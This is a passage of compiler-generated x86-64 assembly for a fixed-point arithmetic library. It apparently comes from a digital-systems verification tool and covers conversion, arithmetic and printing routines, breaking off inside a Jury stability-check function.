fxp_int_to_fxp:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR -20[rbp]
movsx rdx, eax
mov rax, QWORD PTR _fxp_one[rip]
imul rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size fxp_int_to_fxp, .-fxp_int_to_fxp
.globl fxp_to_int
.type fxp_to_int, @function
fxp_to_int:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
js .L35
mov rax, QWORD PTR _fxp_half[rip]
add QWORD PTR -8[rbp], rax
jmp .L36
.L35:
mov rax, QWORD PTR _fxp_half[rip]
sub QWORD PTR -8[rbp], rax
.L36:
mov eax, DWORD PTR impl[rip+4]
mov ecx, eax
sar QWORD PTR -8[rbp], cl
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size fxp_to_int, .-fxp_to_int
.globl fxp_float_to_fxp
.type fxp_float_to_fxp, @function
fxp_float_to_fxp:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
pxor xmm1, xmm1
cvtss2sd xmm1, DWORD PTR -20[rbp]
mov eax, DWORD PTR impl[rip+4]
cdqe
lea rdx, 0[0+rax*8]
lea rax, scale_factor[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
movss xmm0, DWORD PTR -20[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L44
movsd xmm1, QWORD PTR -8[rbp]
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
cvttsd2si rax, xmm0
mov QWORD PTR -16[rbp], rax
jmp .L41
.L44:
movsd xmm0, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR .LC5[rip]
subsd xmm0, xmm1
cvttsd2si rax, xmm0
mov QWORD PTR -16[rbp], rax
.L41:
mov rax, QWORD PTR -16[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size fxp_float_to_fxp, .-fxp_float_to_fxp
.globl fxp_double_to_fxp
.type fxp_double_to_fxp, @function
fxp_double_to_fxp:
.LFB19:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR impl[rip+4]
cdqe
lea rdx, 0[0+rax*8]
lea rax, scale_factor[rip]
movsd xmm0, QWORD PTR [rdx+rax]
movsd xmm1, QWORD PTR -40[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
mov eax, DWORD PTR rounding_mode[rip]
test eax, eax
jne .L46
movsd xmm0, QWORD PTR -40[rbp]
pxor xmm1, xmm1
comisd xmm0, xmm1
jb .L57
movsd xmm1, QWORD PTR -16[rbp]
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
cvttsd2si rax, xmm0
mov QWORD PTR -24[rbp], rax
jmp .L49
.L57:
movsd xmm0, QWORD PTR -16[rbp]
movsd xmm1, QWORD PTR .LC5[rip]
subsd xmm0, xmm1
cvttsd2si rax, xmm0
mov QWORD PTR -24[rbp], rax
jmp .L49
.L46:
mov eax, DWORD PTR rounding_mode[rip]
cmp eax, 1
jne .L50
movsd xmm0, QWORD PTR -16[rbp]
cvttsd2si rax, xmm0
mov QWORD PTR -24[rbp], rax
pxor xmm1, xmm1
cvtsi2sd xmm1, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR -16[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -40[rbp]
jbe .L49
pxor xmm0, xmm0
ucomisd xmm0, QWORD PTR -8[rbp]
jp .L56
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -8[rbp]
je .L49
.L56:
movsd xmm0, QWORD PTR -16[rbp]
movsd xmm1, QWORD PTR .LC7[rip]
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -16[rbp]
cvttsd2si rax, xmm0
mov QWORD PTR -24[rbp], rax
jmp .L49
.L50:
mov eax, DWORD PTR rounding_mode[rip]
test eax, eax
jne .L49
movsd xmm0, QWORD PTR -16[rbp]
cvttsd2si rax, xmm0
mov QWORD PTR -24[rbp], rax
.L49:
mov rax, QWORD PTR -24[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE19:
.size fxp_double_to_fxp, .-fxp_double_to_fxp
.globl fxp_float_to_fxp_array
.type fxp_float_to_fxp_array, @function
fxp_float_to_fxp_array:
.LFB20:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov QWORD PTR -32[rbp], rdi
mov QWORD PTR -40[rbp], rsi
mov DWORD PTR -44[rbp], edx
mov DWORD PTR -12[rbp], 0
jmp .L59
.L60:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -12[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -40[rbp]
lea rbx, [rcx+rdx]
movd xmm0, eax
call fxp_float_to_fxp
mov QWORD PTR [rbx], rax
add DWORD PTR -12[rbp], 1
.L59:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L60
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE20:
.size fxp_float_to_fxp_array, .-fxp_float_to_fxp_array
.globl fxp_double_to_fxp_array
.type fxp_double_to_fxp_array, @function
fxp_double_to_fxp_array:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov QWORD PTR -32[rbp], rdi
mov QWORD PTR -40[rbp], rsi
mov DWORD PTR -44[rbp], edx
mov DWORD PTR -12[rbp], 0
jmp .L62
.L63:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov edx, DWORD PTR -12[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -40[rbp]
lea rbx, [rcx+rdx]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR [rbx], rax
add DWORD PTR -12[rbp], 1
.L62:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L63
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size fxp_double_to_fxp_array, .-fxp_double_to_fxp_array
.globl fxp_to_float
.type fxp_to_float, @function
fxp_to_float:
.LFB22:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR -8[rbp], eax
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -8[rbp]
mov eax, DWORD PTR impl[rip+4]
cdqe
lea rdx, 0[0+rax*8]
lea rax, scale_factor_inv[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE22:
.size fxp_to_float, .-fxp_to_float
.globl fxp_to_double
.type fxp_to_double, @function
fxp_to_double:
.LFB23:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR -12[rbp], eax
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -12[rbp]
mov eax, DWORD PTR impl[rip+4]
cdqe
lea rdx, 0[0+rax*8]
lea rax, scale_factor_inv[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mulsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE23:
.size fxp_to_double, .-fxp_to_double
.globl fxp_to_float_array
.type fxp_to_float_array, @function
fxp_to_float_array:
.LFB24:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov QWORD PTR -32[rbp], rdi
mov QWORD PTR -40[rbp], rsi
mov DWORD PTR -44[rbp], edx
mov DWORD PTR -12[rbp], 0
jmp .L69
.L70:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov edx, DWORD PTR -12[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
mov rdx, QWORD PTR -32[rbp]
lea rbx, [rcx+rdx]
mov rdi, rax
call fxp_to_float
movd eax, xmm0
mov DWORD PTR [rbx], eax
add DWORD PTR -12[rbp], 1
.L69:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L70
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE24:
.size fxp_to_float_array, .-fxp_to_float_array
.globl fxp_to_double_array
.type fxp_to_double_array, @function
fxp_to_double_array:
.LFB25:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov QWORD PTR -32[rbp], rdi
mov QWORD PTR -40[rbp], rsi
mov DWORD PTR -44[rbp], edx
mov DWORD PTR -12[rbp], 0
jmp .L72
.L73:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov edx, DWORD PTR -12[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -32[rbp]
lea rbx, [rcx+rdx]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov QWORD PTR [rbx], rax
add DWORD PTR -12[rbp], 1
.L72:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -44[rbp]
jl .L73
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE25:
.size fxp_to_double_array, .-fxp_to_double_array
.globl fxp_abs
.type fxp_abs, @function
fxp_abs:
.LFB26:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 24
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
cqo
mov rax, rdx
xor rax, QWORD PTR -24[rbp]
sub rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE26:
.size fxp_abs, .-fxp_abs
.globl fxp_add
.type fxp_add, @function
fxp_add:
.LFB27:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov rdx, QWORD PTR -24[rbp]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE27:
.size fxp_add, .-fxp_add
.globl fxp_sub
.type fxp_sub, @function
fxp_sub:
.LFB28:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov rax, QWORD PTR -24[rbp]
sub rax, QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE28:
.size fxp_sub, .-fxp_sub
.globl fxp_mult
.type fxp_mult, @function
fxp_mult:
.LFB29:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov rax, QWORD PTR -24[rbp]
imul rax, QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
js .L81
mov eax, DWORD PTR impl[rip+4]
sub eax, 1
mov edx, 1
mov ecx, eax
sal edx, cl
mov eax, edx
cdqe
and rax, QWORD PTR -8[rbp]
lea rdx, [rax+rax]
mov rax, QWORD PTR -8[rbp]
add rdx, rax
mov eax, DWORD PTR impl[rip+4]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov QWORD PTR -16[rbp], rax
jmp .L82
.L81:
mov rax, QWORD PTR -8[rbp]
neg rax
mov rdx, rax
mov eax, DWORD PTR impl[rip+4]
sub eax, 1
mov esi, 1
mov ecx, eax
sal esi, cl
mov eax, esi
cdqe
and rax, rdx
add rax, rax
sub rax, QWORD PTR -8[rbp]
mov rdx, rax
mov eax, DWORD PTR impl[rip+4]
mov ecx, eax
sar rdx, cl
mov rax, rdx
neg rax
mov QWORD PTR -16[rbp], rax
.L82:
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call fxp_quantize
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE29:
.size fxp_mult, .-fxp_mult
.globl fxp_div
.type fxp_div, @function
fxp_div:
.LFB30:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
cmp QWORD PTR -32[rbp], 0
setne al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov eax, DWORD PTR impl[rip+4]
mov rdx, QWORD PTR -24[rbp]
mov ecx, eax
sal rdx, cl
mov rax, rdx
cqo
idiv QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE30:
.size fxp_div, .-fxp_div
.globl fxp_neg
.type fxp_neg, @function
fxp_neg:
.LFB31:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 24
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
neg rax
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE31:
.size fxp_neg, .-fxp_neg
.globl fxp_sign
.type fxp_sign, @function
fxp_sign:
.LFB32:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L89
cmp QWORD PTR -8[rbp], 0
jns .L90
mov rax, QWORD PTR _fxp_minus_one[rip]
jmp .L93
.L90:
mov rax, QWORD PTR _fxp_one[rip]
jmp .L93
.L89:
mov eax, 0
.L93:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE32:
.size fxp_sign, .-fxp_sign
.globl fxp_shrl
.type fxp_shrl, @function
fxp_shrl:
.LFB33:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov DWORD PTR -12[rbp], esi
mov rax, QWORD PTR -8[rbp]
mov edx, eax
mov eax, DWORD PTR -12[rbp]
mov ecx, eax
shr edx, cl
mov eax, edx
mov eax, eax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE33:
.size fxp_shrl, .-fxp_shrl
.globl fxp_square
.type fxp_square, @function
fxp_square:
.LFB34:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 8
mov QWORD PTR -8[rbp], rdi
mov rdx, QWORD PTR -8[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call fxp_mult
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE34:
.size fxp_square, .-fxp_square
.section .rodata
.LC8:
.string "\n%i"
.text
.globl fxp_print_int
.type fxp_print_int, @function
fxp_print_int:
.LFB35:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov esi, eax
lea rdi, .LC8[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE35:
.size fxp_print_int, .-fxp_print_int
.section .rodata
.LC9:
.string "\n%f"
.text
.globl fxp_print_float
.type fxp_print_float, @function
fxp_print_float:
.LFB36:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_to_float
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movq rax, xmm1
movq xmm0, rax
lea rdi, .LC9[rip]
mov eax, 1
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE36:
.size fxp_print_float, .-fxp_print_float
.globl fxp_print_float_array
.type fxp_print_float_array, @function
fxp_print_float_array:
.LFB37:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -4[rbp], 0
jmp .L101
.L102:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call fxp_to_float
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movq rax, xmm1
movq xmm0, rax
lea rdi, .LC9[rip]
mov eax, 1
call printf@PLT
add DWORD PTR -4[rbp], 1
.L101:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L102
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE37:
.size fxp_print_float_array, .-fxp_print_float_array
.section .rodata
.LC10:
.string "%s = {"
.LC11:
.string " %jd "
.LC12:
.string "}"
.text
.globl print_fxp_array_elements
.type print_fxp_array_elements, @function
print_fxp_array_elements:
.LFB38:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -4[rbp], 0
jmp .L104
.L105:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rsi, rax
lea rdi, .LC11[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -4[rbp], 1
.L104:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L105
lea rdi, .LC12[rip]
call puts@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE38:
.size print_fxp_array_elements, .-print_fxp_array_elements
.globl initialize_array
.type initialize_array, @function
initialize_array:
.LFB39:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -4[rbp], 0
jmp .L107
.L108:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR [rax], xmm0
add DWORD PTR -4[rbp], 1
.L107:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L108
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE39:
.size initialize_array, .-initialize_array
.globl revert_array
.type revert_array, @function
revert_array:
.LFB40:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 40
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov edx, DWORD PTR -36[rbp]
mov rax, QWORD PTR -32[rbp]
mov esi, edx
mov rdi, rax
call initialize_array
mov DWORD PTR -4[rbp], 0
jmp .L110
.L111:
mov eax, DWORD PTR -36[rbp]
sub eax, DWORD PTR -4[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -24[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -4[rbp], 1
.L110:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L111
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE40:
.size revert_array, .-revert_array
.globl internal_pow
.type internal_pow, @function
internal_pow:
.LFB41:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
movsd QWORD PTR -32[rbp], xmm1
movsd xmm0, QWORD PTR .LC7[rip]
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -12[rbp], 0
jmp .L113
.L114:
movsd xmm0, QWORD PTR -8[rbp]
mulsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -12[rbp], 1
.L113:
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -12[rbp]
movsd xmm0, QWORD PTR -32[rbp]
comisd xmm0, xmm1
ja .L114
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE41:
.size internal_pow, .-internal_pow
.globl internal_abs
.type internal_abs, @function
internal_abs:
.LFB42:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
comisd xmm0, QWORD PTR -8[rbp]
jbe .L122
movsd xmm0, QWORD PTR -8[rbp]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm0, xmm1
jmp .L120
.L122:
movsd xmm0, QWORD PTR -8[rbp]
.L120:
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE42:
.size internal_abs, .-internal_abs
.globl fatorial
.type fatorial, @function
fatorial:
.LFB43:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
cmp DWORD PTR -4[rbp], 0
je .L124
mov eax, DWORD PTR -4[rbp]
sub eax, 1
mov edi, eax
call fatorial
imul eax, DWORD PTR -4[rbp]
jmp .L126
.L124:
mov eax, 1
.L126:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE43:
.size fatorial, .-fatorial
.section .rodata
.align 8
.LC14:
.string "[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)"
.align 8
.LC16:
.string "[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)"
.align 8
.LC17:
.string "[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})"
.text
.globl check_stability
.type check_stability, @function
check_stability:
.LFB44:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 168
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov QWORD PTR -152[rbp], rdi
mov DWORD PTR -156[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -200[rbp], rax
mov eax, DWORD PTR -156[rbp]
add eax, eax
sub eax, 1
mov DWORD PTR -116[rbp], eax
mov eax, DWORD PTR -156[rbp]
mov DWORD PTR -124[rbp], eax
mov esi, DWORD PTR -156[rbp]
mov edi, DWORD PTR -116[rbp]
movsx rax, esi
sub rax, 1
mov QWORD PTR -96[rbp], rax
movsx rax, esi
mov rcx, rax
mov ebx, 0
movsx rax, esi
lea rbx, 0[0+rax*8]
movsx rax, edi
sub rax, 1
mov QWORD PTR -88[rbp], rax
movsx rax, esi
mov r14, rax
mov r15d, 0
movsx rax, edi
mov r12, rax
mov r13d, 0
mov rdx, r15
imul rdx, r12
mov rax, r13
imul rax, r14
lea rcx, [rdx+rax]
mov rax, r14
mul r12
add rcx, rdx
mov rdx, rcx
movsx rax, esi
mov r10, rax
mov r11d, 0
movsx rax, edi
mov r8, rax
mov r9d, 0
mov rdx, r11
imul rdx, r8
mov rax, r9
imul rax, r10
lea rcx, [rdx+rax]
mov rax, r10
mul r8
add rcx, rdx
mov rdx, rcx
movsx rdx, esi
movsx rax, edi
imul rax, rdx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L128:
cmp rsp, rdx
je .L129
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L128
.L129:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L130
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L130:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -156[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -176[rbp], rdx
mov QWORD PTR -168[rbp], 0
movsx rdx, eax
mov QWORD PTR -192[rbp], rdx
mov QWORD PTR -184[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
